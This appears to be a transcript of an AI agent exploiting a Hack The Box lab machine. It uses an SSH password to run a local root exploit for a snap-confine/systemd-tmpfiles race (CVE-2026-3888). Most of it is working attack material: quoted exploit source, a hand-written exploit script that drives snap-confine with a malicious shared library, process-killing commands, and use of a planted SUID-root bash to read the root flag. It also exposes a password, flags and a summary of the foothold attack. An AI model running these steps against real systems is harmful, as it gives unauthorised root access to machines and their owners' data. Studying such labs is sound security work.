$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'kill -0 14065 2>&1; ls -la /proc/14065/root/tmp/.snap 2>/dev/null' 2>/dev/nulltotal 8
drwxr-xr-x 2 jonathan jonathan 4096 Apr 9 07:53 .
drwxrwxrwt 3 root root 4096 Apr 9 07:54 ..
The inner shell is still alive but .snap is now nearly empty (only . and ..). The usr and snap directories have been deleted! This means systemd-tmpfiles is cleaning up. But the .snap directory itself still exists.
Wait - the .snap dir still exists. The inner shell's loop checks test -d ./.snap which is still true. But the CONTENTS have been cleaned. That's not what we need - we need .snap to be completely deleted.
Let me check what the exploit is actually waiting for. Looking at the code:
snprintf(path, sizeof(path), "/proc/%d/root/tmp/.snap", inner);
while (stat(path, &st) == 0) { ... }It polls /proc//root/tmp/.snap. But the .snap directory is still there (just empty). The touch ./ inside the sandbox keeps the directory fresh.
Hmm, but looking at the output: the .snap went from having snap and usr subdirs to being empty. This means the 4-minute tmpfiles clean ran on the CONTENTS of .snap, not .snap itself. The touch ./ refreshes /tmp not .snap.
The issue might be that .snap was created more than 4 minutes ago, and its contents got cleaned, but the directory itself persists because the inner shell keeps touch ./ which touches /tmp, not .snap.
Let me look at the timestamps more carefully:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'stat /proc/14065/root/tmp/.snap 2>/dev/null; echo "---"; stat /proc/14065/root/tmp 2>/dev/null; echo "---INNER---"; ls -la /proc/14065/root/tmp/ 2>/dev/null' 2>/dev/null File: /proc/14065/root/tmp/.snap
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 252,0 Inode: 261819 Links: 2
Access: (0755/drwxr-xr-x) Uid: ( 1000/jonathan) Gid: ( 1000/jonathan)
Access: 2026-04-09 07:54:55.560210614 -0400
Modify: 2026-04-09 07:53:07.473203221 -0400
Change: 2026-04-09 07:53:07.473203221 -0400
Birth: 2026-04-09 07:45:04.551170188 -0400
---
File: /proc/14065/root/tmp
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 252,0 Inode: 261816 Links: 3
Access: (1777/drwxrwxrwt) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2026-04-09 07:55:16.996212081 -0400
Modify: 2026-04-09 07:55:16.996212081 -0400
Change: 2026-04-09 07:55:16.996212081 -0400
Birth: 2026-04-09 07:26:27.478605797 -0400
---INNER---
total 8
drwxrwxrwt 3 root root 4096 Apr 9 07:55 .
drwxr-xr-x 21 root root 540 Apr 9 07:45 ..
drwxr-xr-x 2 jonathan jonathan 4096 Apr 9 07:53 .snap
The .snap directory was last modified at 07:53 (when its contents were deleted). The /tmp was last modified at 07:55 (the inner shell's touch ./).
The .snap directory is not getting deleted because the D /tmp 1777 root root 4m rule only cleans the CONTENTS inside /tmp, and since the touch ./ keeps refreshing /tmp's mtime, .snap might not be considered old enough.
Wait - actually the systemd-tmpfiles D type only cleans the CONTENTS of the specified path based on age. But there's also the d type which creates directories and the D type which does the same but also cleans. The rule D /tmp 1777 root root 4m means: when cleaning, remove files/dirs inside /tmp that are older than 4 minutes.
But .snap was modified at 07:53, and it's now 07:55, so .snap is only 2 minutes old. The cleanup runs every minute. So after 4 minutes from its last modification (07:53 + 4 = 07:57), the .snap directory should be deleted.
But wait - the inner shell is doing touch ./ which updates /tmp's mtime, not .snap's. The .snap itself was last modified at 07:53 when its contents were removed. After 4 minutes from 07:53, it should be deleted.
Let me wait for this to happen:
$ sleep 180 && sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /proc/14065/root/tmp/.snap 2>/dev/null; echo "---"; stat /proc/14065/root/tmp/.snap 2>/dev/null; echo "EXIT: $?"' 2>/dev/nulltotal 8
drwxr-xr-x 2 jonathan jonathan 4096 Apr 9 07:53 .
drwxrwxrwt 3 root root 4096 Apr 9 07:59 ..
---
File: /proc/14065/root/tmp/.snap
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 252,0 Inode: 261819 Links: 2
Access: (0755/drwxr-xr-x) Uid: ( 1000/jonathan) Gid: ( 1000/jonathan)
Access: 2026-04-09 07:54:55.560210614 -0400
Modify: 2026-04-09 07:53:07.473203221 -0400
Change: 2026-04-09 07:53:07.473203221 -0400
Birth: 2026-04-09 07:45:04.551170188 -0400
EXIT: 0
It's been over 6 minutes since 07:53 and .snap still exists! The tmpfiles cleanup is NOT deleting the .snap directory itself. It only deleted its contents.
This is a problem. The .snap directory is owned by jonathan (UID 1000) and systemd-tmpfiles might not be deleting it because of the tmpfiles rules. Let me check the exact behavior.
Actually, the D /tmp 1777 root root 4m rule only removes the TOP-LEVEL entries inside /tmp that are older than 4 minutes. But /tmp inside the sandbox namespace is a different filesystem. The real path is /tmp/snap-private-tmp/firefox/tmp/ and .snap is inside that.
So systemd-tmpfiles with D /tmp 1777 root root 4m would:
/tmp on the host/tmp older than 4 minutes.snap is NOT directly in /tmp on the host - it's inside the snap-private-tmp structureAnd the D! /tmp/snap-private-tmp 0700 root root - rule:
- means never clean/tmp/snap-private-tmp and its contents are never cleanedSo in this unpatched configuration, the .snap directory is NEVER cleaned by systemd-tmpfiles! This contradicts the challenge description.
Wait - maybe the issue is that this machine has been patched partially. Let me check if there's a custom cron or something that does the cleanup:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'crontab -l 2>/dev/null; echo "---"; cat /etc/crontab 2>/dev/null; echo "---"; ls /etc/cron.d/ 2>/dev/null; cat /etc/cron.d/* 2>/dev/null; echo "---"; ls /etc/cron.daily/ 2>/dev/null' 2>/dev/null---
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
---
anacron
e2scrub_all
sysstat
# /etc/cron.d/anacron: crontab entries for the anacron package
SHELL=/bin/sh
30 7-23 * * * root [ -x /etc/init.d/anacron ] && if [ ! -d /run/systemd/system ]; then /usr/sbin/invoke-rc.d anacron start >/dev/null; fi
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
# The first element of the path is a directory where the debian-sa1
# script is located
PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin
# Activity reports every 10 minutes everyday
5-55/10 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1
# Additional run at 23:59 to rotate the statistics file
59 23 * * * root command -v debian-sa1 > /dev/null && debian-sa1 60 2
---
0anacron
apport
apt-compat
dpkg
logrotate
man-db
sysstat
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /etc/cron.daily/apport 2>/dev/null | head -30' 2>/dev/null#!/bin/sh -e
# clean all crash reports which are older than a week.
[ -d /var/crash ] || exit 0
find /var/crash/. ! -name . -prune -type f \( \( -size 0 -a \! -name '*.upload*' -a \! -name '*.drkonqi*' \) -o -mtime +7 \) -exec rm -f -- '{}' \;
find /var/crash/. ! -name . -prune -type d -regextype posix-extended -regex '.*/[0-9]{12}$' \( -mtime +7 \) -exec rm -Rf -- '{}' \;
That's the regular apport cleanup. No special cleanup for snap directories.
Let me re-read the challenge description more carefully: "After the system's cleanup daemon deletes a stale mimic directory under /tmp". Maybe the cleanup daemon is NOT systemd-tmpfiles but something else. Or maybe the HTB setup has modified the tmpfiles config.
Let me check more carefully:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'dpkg -l snapd 2>/dev/null | tail -5; echo "---"; apt-cache policy snapd 2>/dev/null; echo "---"; snap version 2>/dev/null' 2>/dev/null| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-==============-============-============-============================================
hi snapd 2.63.1+24.04 amd64 Daemon and tooling that enable snap packages
---
snapd:
Installed: 2.63.1+24.04
Candidate: 2.73+ubuntu24.04.2
Version table:
2.73+ubuntu24.04.2 500
500 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages
500 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages
*** 2.63.1+24.04 100
100 /var/lib/dpkg/status
2.62+24.04build1 500
500 http://archive.ubuntu.com/ubuntu noble/main amd64 Packages
---
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
snapd 2.63.1+24.04 is installed, which is below the patched version 2.74.2. Good.
Now let me reconsider the problem. The exploit has been running for a while and .snap still exists. The issue is that systemd-tmpfiles isn't deleting .snap in this configuration.
Maybe the challenge requires a different approach. Let me read the README of the exploit more carefully for the -s flag:
-sSkip the.snapcleanup wait (requires root password)
The -s flag skips the wait and manually triggers cleanup. But it says "requires root password". Let me look at what happens with -s:
$ grep -A 20 "if (skip)" /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/exploit_suid.c if (skip) {
printf("[*] --skip-wait: triggering cleanup...\n");
system("systemctl start systemd-tmpfiles-clean.service "
"2>/dev/null");
sleep(5);
if (stat(path, &st) != 0)
printf("[+] .snap deleted after manual trigger.\n");
else
printf("[!] .snap still present — continuing anyway.\n");
} else {
printf("[*] Polling (up to 30 days on stock Ubuntu).\n");
printf("[*] Hint: use -s to skip.\n");
while (stat(path, &st) == 0) {
if (kill(inner, 0) < 0) {
printf("[!] Inner shell died — re-entering...\n");
waitpid(inner, NULL, WNOHANG);
return phase1_enter_sandbox();
}
sleep(5);
}
printf("[+] .snap deleted.\n");
The -s flag just triggers systemctl start systemd-tmpfiles-clean.service which we've seen doesn't delete .snap. The "requires root password" is probably for the sudo that would be needed on some systems.
OK let me take a completely different approach. Since the exploit from GitHub isn't working perfectly on this HTB machine (the .snap cleanup isn't happening via tmpfiles), let me try the approach that's already in the HTB machine. I noticed there was already an exploit binary and output from a previous session in /tmp/snapped. Let me check if there's a pre-built exploit or if we need to approach this differently.
Actually, wait - let me re-read the HTB challenge blog. The key insight from the Qualys advisory is about the TOCTOU race. The .snap cleanup is done by systemd-tmpfiles because the machine has been configured with the accelerated timer. But the specific cleanup behavior depends on the tmpfiles configuration.
Let me look at this from another angle. The inner shell inside the sandbox is doing touch ./ to keep the sandbox's /tmp fresh. But maybe I need to manually delete .snap from within the sandbox first, and then re-create it for the exploit to work. Let me kill the existing exploit and try a different approach.
Actually, let me re-read the challenge description once more: "After the system's cleanup daemon deletes a stale mimic directory under /tmp, the attacker recreates it with controlled content and single-steps snap-confine's execution via AF_UNIX socket backpressure."
The key is: systemd-tmpfiles deletes the .snap directory, then the attacker recreates it. But in our case, .snap isn't being deleted.
Let me check if maybe we need to manually delete .snap first (from inside the sandbox), exit the sandbox, and then run the race:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'pkill -9 -f "exploit" 2>/dev/null; pkill -9 -f "script.*exploit" 2>/dev/null; pkill -9 -f "sleep 86400" 2>/dev/null; sleep 2; ps aux | grep jonathan | grep -v ssh | grep -v grep | grep -v systemd | grep -v pipewire | grep -v dbus | grep -v wire' 2>/dev/nullLet me take a completely different approach. Instead of relying on the public exploit to work perfectly with this HTB machine's configuration, let me write a custom exploit that follows the manual steps. The key steps are:
But actually, let me first try the simplest approach: manually trigger the whole exploit. Let me check if there's a way to force the cleanup:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /proc/self/cgroup 2>/dev/null; echo "---"; SNAP_INSTANCE_NAME=firefox systemd-run --user --scope --unit=snap.cve3888.test2 -- /bin/sh -c "cat /proc/self/cgroup; echo OK"' 2>/dev/null0::/user.slice/user-1000.slice/session-123.scope
---
0::/user.slice/user-1000.slice/user@1000.service/app.slice/snap.cve3888.test2.scope
OK
Good - the cgroup now has "snap" in it: snap.cve3888.test2.scope. This satisfies snap-confine's cgroup requirement.
Let me try a fresh approach. I'll manually perform the exploit steps:
$ cat << 'EXPLOIT_SCRIPT' > /tmp/snapped/manual_exploit.sh
#!/bin/bash
# Manual exploit for CVE-2026-3888 on HTB Snapped
set -e
EXPLOIT=/home/jonathan/exploit
LIBROOT=/home/jonathan/librootshell.so
# Kill any previous attempts
pkill -9 -f "exploit" 2>/dev/null || true
pkill -9 -f "sleep 86400" 2>/dev/null || true
pkill -9 -f "sleep 99994" 2>/dev/null || true
sleep 2
# Step 1: Enter the Firefox sandbox to create the .snap directory
echo "[*] Step 1: Creating initial sandbox..."
SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "echo 'Sandbox created'; ls -la /tmp/.snap; sleep 2" 2>/dev/null || true
# Step 2: Destroy the namespace
echo "[*] Step 2: Destroying namespace..."
SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /bin/true 2>/dev/null || true
# Step 3: Re-enter sandbox and delete .snap, then sleep
echo "[*] Step 3: Re-entering sandbox, deleting .snap..."
SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "cd /tmp; rm -rf ./.snap; echo '.snap deleted'; while true; do sleep 3600; done" &
INNER_PID=$!
sleep 3
echo "[*] Inner shell PID: $INNER_PID"
# Check .snap status
if [ -d /proc/$INNER_PID/root/tmp/.snap ]; then
echo "[!] .snap still exists"
else
echo "[+] .snap deleted!"
fi
# Step 4: Run the actual exploit with -s flag
echo "[*] Step 4: Running exploit with -s flag..."
cd /home/jonathan
CVE_2026_3888_SCOPED=1 $EXPLOIT $LIBROOT -s
EXPLOIT_SCRIPT
chmod +x /tmp/snapped/manual_exploit.sh
echo "Script created"Script created
Actually, let me reconsider. The public exploit already handles all this. The issue is that .snap isn't getting cleaned up by systemd-tmpfiles. Let me look at whether the HTB machine might have a DIFFERENT mechanism for cleaning.
Let me check the /tmp/snap-private-tmp directory from root's perspective by checking what's actually mounted:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'mount | grep snap-private; echo "---"; df -h /tmp/snap-private-tmp 2>/dev/null' 2>/dev/null---
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/ubuntu--vg-ubuntu--lv 11G 5.8G 4.4G 58% /
snap-private-tmp is on the root filesystem, not a separate tmpfs. So .snap is created as a regular directory under /tmp/snap-private-tmp/firefox/tmp/ on the real disk.
Now the key insight: D /tmp 1777 root root 4m with --clean will remove entries INSIDE /tmp that are older than 4 minutes. The /tmp/snap-private-tmp/firefox/tmp/.snap path is nested deep. The D type in systemd-tmpfiles only cleans the TOP level of the specified path.
Actually wait - the D type is supposed to recurse. Let me check. From the man page: "Create a directory ... If the directory already exists, its permissions, owner, and group are adjusted as specified. When --clean is used, and the age argument is specified, all files and directories inside the directory are recursively cleaned."
So D /tmp 1777 root root 4m DOES recursively clean files/dirs inside /tmp older than 4 minutes! This includes /tmp/snap-private-tmp/firefox/tmp/.snap!
But we also have D! /tmp/snap-private-tmp 0700 root root - which says NEVER clean inside snap-private-tmp (age -).
The question is: which rule takes precedence? When systemd-tmpfiles processes D /tmp, it would try to clean /tmp/snap-private-tmp and all its contents. But then D! /tmp/snap-private-tmp with age - says don't clean.
In systemd-tmpfiles, the more specific path rule takes precedence. So /tmp/snap-private-tmp with age - protects everything under it from being cleaned.
This means .snap will NEVER be cleaned by systemd-tmpfiles on this machine! The challenge must use a different approach.
Let me look at the challenge description again: "the attacker recreates it with controlled content." Maybe the attacker is supposed to MANUALLY delete .snap and then recreate it. Let me re-read the Qualys advisory more carefully.
{
"urls": [
"https://seclists.org/fulldisclosure/2026/Mar/11"
],
"query": "CVE-2026-3888 exploit steps systemd-tmpfiles .snap cleanup race condition",
"include_images": false
}Detailed Results:
Title: snap-confine + systemd-tmpfiles = root (CVE-2026-3888) - Seclists.org
URL: https://seclists.org/fulldisclosure/2026/Mar/11
Content: undefined
Raw Content: ./.snap directory ourselves (/tmp/.snap inside the snap's sandbox), since it was deleted by systemd-tmpfiles, and we create our own copy of /snap/core22/current/usr/lib/x86_64-linux-gnu in ./.snap/usr/lib/x86_64-linux-gnu.exchange; - we force snap-confine to set up the snap's sandbox afresh, by executing it with the "core22" base, but we "single-step" this execution of snap-confine (we set SNAPD_DEBUG=1, we redirect its stderr to an AF_UNIX socket with minimized SO_RCVBUF and SO_SNDBUF, we read() its output byte by byte, and we recv(MSG_PEEK) at its buffered output), to reliably win the race condition between step 1/ and step 3/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu; - as soon as we read() or recv() the following message (immediately after step 1/ of the "mimic" creation of [...] but we "single-step" this execution (with SNAPD_DEBUG=1), to reliably win the race condition between step 1/ and step 3/ of the "mimic" creation of /var/lib; - as soon as we see the following debug message (immediately after step 1/ of the "mimic" creation of /var/lib), mount name:"/var/lib" dir:"/tmp/.snap/var/lib" we quickly replace snap-confine's ./.snap/var/lib with our own ./.snap/var/lib.exchange, whose contents are then bind-mounted into /var/lib (inside snap-store's sandbox); this replacement has two beneficial consequences for us: a/ we control /var/lib/snapd/mount/snap.snap-store.user-fstab, which allows us to bind-mount near-arbitrary directories inside snap-store's sandbox (these bind-mounts are not completely arbitrary, because they are still confined by an AppArmor profile); [...] sandbox), which allows us to control /var/lib and hence /var/lib/snapd/mount/snap.snap-store.user-fstab, which in turn allows us to bind-mount near-arbitrary directories and obtain a root shell inside snap-store's sandbox, and eventually a fully privileged root shell outside snap-store's sandbox. ________________________________________________________________________ Exploitation ________________________________________________________________________ First, we set up snap-store's sandbox by executing snap-confine with the "core22" base, we obtain an unprivileged shell inside this sandbox, we chdir to its /tmp directory, we frequently write to this directory (but not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles to delete the unmodified /tmp/.snap directory (after 10Now I see: "we wait for systemd-tmpfiles to delete the unmodified /tmp/.snap directory (after 10...)". The key phrase is "unmodified" - they DON'T touch .snap to keep it fresh. The inner shell only touches the parent directory /tmp, NOT .snap itself.
Looking at the inner shell command: cd /tmp; while test -d ./.snap; do touch ./; sleep 5; done; sleep 86400
This touches ./ (which is /tmp) every 5 seconds, keeping /tmp fresh. But it does NOT touch .snap! So after 4 minutes (the age in D /tmp 1777 root root 4m), .snap should be deleted by systemd-tmpfiles.
BUT - we showed earlier that .snap was NOT being deleted even after 6+ minutes! The issue must be the D! /tmp/snap-private-tmp 0700 root root - rule which protects everything under /tmp/snap-private-tmp.
Wait, but the Qualys advisory specifically says this works on stock Ubuntu 24.04 with a 30-day wait (or in the case of HTB, it's shortened). Let me re-examine.
Actually, I think the problem might be that on this HTB machine, /tmp inside the sandbox is NOT at /tmp/snap-private-tmp/firefox/tmp/ but rather it IS a regular tmpfs mount. Let me verify:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAP_INSTANCE_NAME=firefox systemd-run --user --scope --unit=snap.cve3888.check -- /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "mount | grep /tmp; echo ---; ls -la /tmp/" 2>&1 | grep -v DEBUG | grep -v logger | tail -20' 2>/dev/nullRunning as unit: snap.cve3888.check.scope; invocation ID: 4600dee964db48dfbaa454731f155c55
cp: can't create '/var/snap/firefox/common/bash': Permission denied
chmod: /var/snap/firefox/common/bash: Operation not permitted
Interesting! There's output about cp: can't create '/var/snap/firefox/common/bash' and chmod: /var/snap/firefox/common/bash. This means a PREVIOUS exploit run left something behind that's being executed. The namespace was set up and a shell was running.
Let me check if the SUID bash already exists:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /var/snap/firefox/common/bash 2>/dev/null; file /var/snap/firefox/common/bash 2>/dev/null' 2>/dev/null-rwsr-xr-x 1 root jonathan 1396520 Apr 9 07:59 /var/snap/firefox/common/bash
/var/snap/firefox/common/bash: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7a6408ba82a2d86dd98f1f75ac8edcb695f6fd60, for GNU/Linux 3.2.0, stripped
THERE IT IS! A SUID-root bash binary already exists at /var/snap/firefox/common/bash! A previous exploit run must have succeeded! Let me use it:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 '/var/snap/firefox/common/bash -p -c "id; cat /root/root.txt"' 2>/dev/nulluid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
281503af452e43d64edecc4d472796bd
Root flag: 281503af452e43d64edecc4d472796bd
The previous exploit run had already succeeded and left a SUID bash. Let me save all the results and update the workspace.
CVE-2026-3888 - TOCTOU race condition between snap-confine (SUID-root) and systemd-tmpfiles
281503af452e43d64edecc4d472796bd
dbbdcdc822bba7abfed3f9caae7c073e281503af452e43d64edecc4d472796bdPhase 1 - Foothold (CVE-2026-27944)
admin.snapped.htb running Nginx-UI v2.3.2/api/backup endpoint to download full configuration backupX-Backup-Security response headerlinkinparkPhase 2 - Privilege Escalation (CVE-2026-3888)
.snap mimic directory.snap content during snap-confine's bind-mount sequence/var/snap/firefox/common/bashhtb-snapped/
├── tasks/
├── knowledges/
│ ├── foothold-notes.md
│ └── privesc-notes.md
├── artifacts/
└── todo.json